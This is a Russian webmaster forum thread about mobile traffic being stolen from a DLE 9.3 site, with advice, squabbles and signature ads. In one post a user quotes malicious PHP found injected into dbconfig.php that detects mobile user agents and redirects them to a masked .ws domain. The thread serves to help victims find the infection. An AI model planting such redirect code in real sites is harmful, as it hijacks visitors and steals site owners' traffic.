Помогите! Воруют вап трафик!

12
ssochi.com
На сайте с 24.09.2007
Offline
184
#11

скорее всего .htaccess левый с определением юзерагента

affiliatebiz.ru
На сайте с 13.09.2009
Offline
181
#12

EVGENIY22, я не к тебе обращался, мимо...

Тонны полезного по арбитражу и монетизации (http://affiliatebiz.ru/) Экономия на Adwords, Директ, Mytarget, Bing (http://adw-kupon.ru/)
EVGENIY22
На сайте с 07.11.2006
Offline
408
#13
affiliatebiz.ru:
EVGENIY22, я не к тебе обращался, мимо...

А ты по делу чеши, а не впихивай где не попадя свой говноблог. Где ТС написал, про тизерки и партнерки? Гореспамер.

Скупаю сайты с доходом от контекста - Яндекс директ и Google Adsense! Пишем в личку.
eis
На сайте с 18.10.2008
Offline
473
eis
#14

Поиск по всем файлам проекта сделайте по урлу, по js

- Здесь я покупаю вечные ссылки на свои сайты! (https://backlinkator.com) - сотни ссылок за копейки
affiliatebiz.ru
На сайте с 13.09.2009
Offline
181
#15

EVGENIY22, ну а сам подумай если htaccess чистый и шаблон CMS тоже, в чем еще может быть дело, форумный олень ты

В твоей подписе - "Здесь траф с социалок и тизерок конверчу в бабло. Советую." За рекламу платников банят паблики, в таргентированной рекламе тоже не пропустят. Очень интересно как ты с социалок конвертишь

Альфа
На сайте с 07.10.2010
Offline
36
#16
Ruhas:
Где искать этот вредоносный код? В htaccess смотрел там редиректа нет. Где его еще искать? И где может быть уязвимость? Сайт на dle 9.3.

Тоже поймал такую хрень на DLE.

Находится в файле dbconfig.php

$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");

if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header('Location: http://***.ws/');
}
12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий